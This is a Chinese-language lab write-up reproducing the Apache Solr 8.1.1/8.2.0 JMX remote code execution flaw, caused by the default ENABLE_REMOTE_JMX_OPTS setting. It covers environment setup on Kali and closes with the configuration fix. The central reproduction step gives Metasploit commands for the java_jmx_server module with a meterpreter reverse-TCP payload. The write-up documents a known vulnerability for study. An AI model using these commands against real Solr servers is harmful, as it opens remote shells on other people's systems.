Apache Solr JMX服务 RCE 漏洞复现
简介
Apache Solr是一个企业级搜索平台,用Java编写且开源,基于Apache Lucene项目。
- 主要功能包括:
- full-text search 全文搜索
- hit highlighting
- faceted search
- dynamic clustering 动态聚类
- document parsing 文档解析
- Solr可以像数据库一样被使用:
- 1.运行服务器,创建collection1
- 2.从外部获取数据 - 向collection1发送不同类型的数据(例如文本,xml文档,pdf文档等任何格式)
- 3.存储数据并生成索引 - Solr自动索引这些数据并提供快速、丰富的REST API接口,以便于你搜索已有数据
与Solr服务器通信的唯一协议是HTTP,并且默认情况下无需身份验证即可访问,所以Solr容易受到web攻击(SSRF,CSRF等)。
漏洞描述
Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在不安全的选项ENABLE_REMOTE_JMX_OPTS="true"。如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。
影响版本
Apache Solr8.1.1和8.2.0版本
搭建环境
Solr 8.20、Java环境、kali系统
因为 Solr 8.20 需要java环境支持,而kali系统本身内置openjdk版本,所以我们无需另外下载java环境。
先下载Apache Solr 8.20的zip
wget https://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
不行的话就到 https://archive.apache.org/dist/lucene/solr/ 选择版本下载,然后用Xftp传入或可以的话直接拖到kali中解压
unzip solr-8.2.0.zip

进入bin目录启动solr
./solr start -force

使用kali ip:8983(solr默认端口)访问,成功

漏洞复现
我们可以在bin目录中打开solr.in.sh文件,找到ENABLE_REMOTE_JMX_OPTS配置发现默认为true

我们可以用MSF中的exploit/multi/misc/java_jmx_server模块进行漏洞复现。(因为用kali搭建漏洞环境原因,使用127.0.0.1本地地址作为攻击目标)
use exploit/multi/misc/java_jmx_server set RHOST 127.0.0.1 set RPORT 18983
set payload java/meterpreter/reverse_tcp set LHOST 127.0.0.1 set LPORT 4444


配置完后一定要检查一下

执行

执行完成,建立连接成功

漏洞修复
将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。


浙公网安备 33010602011771号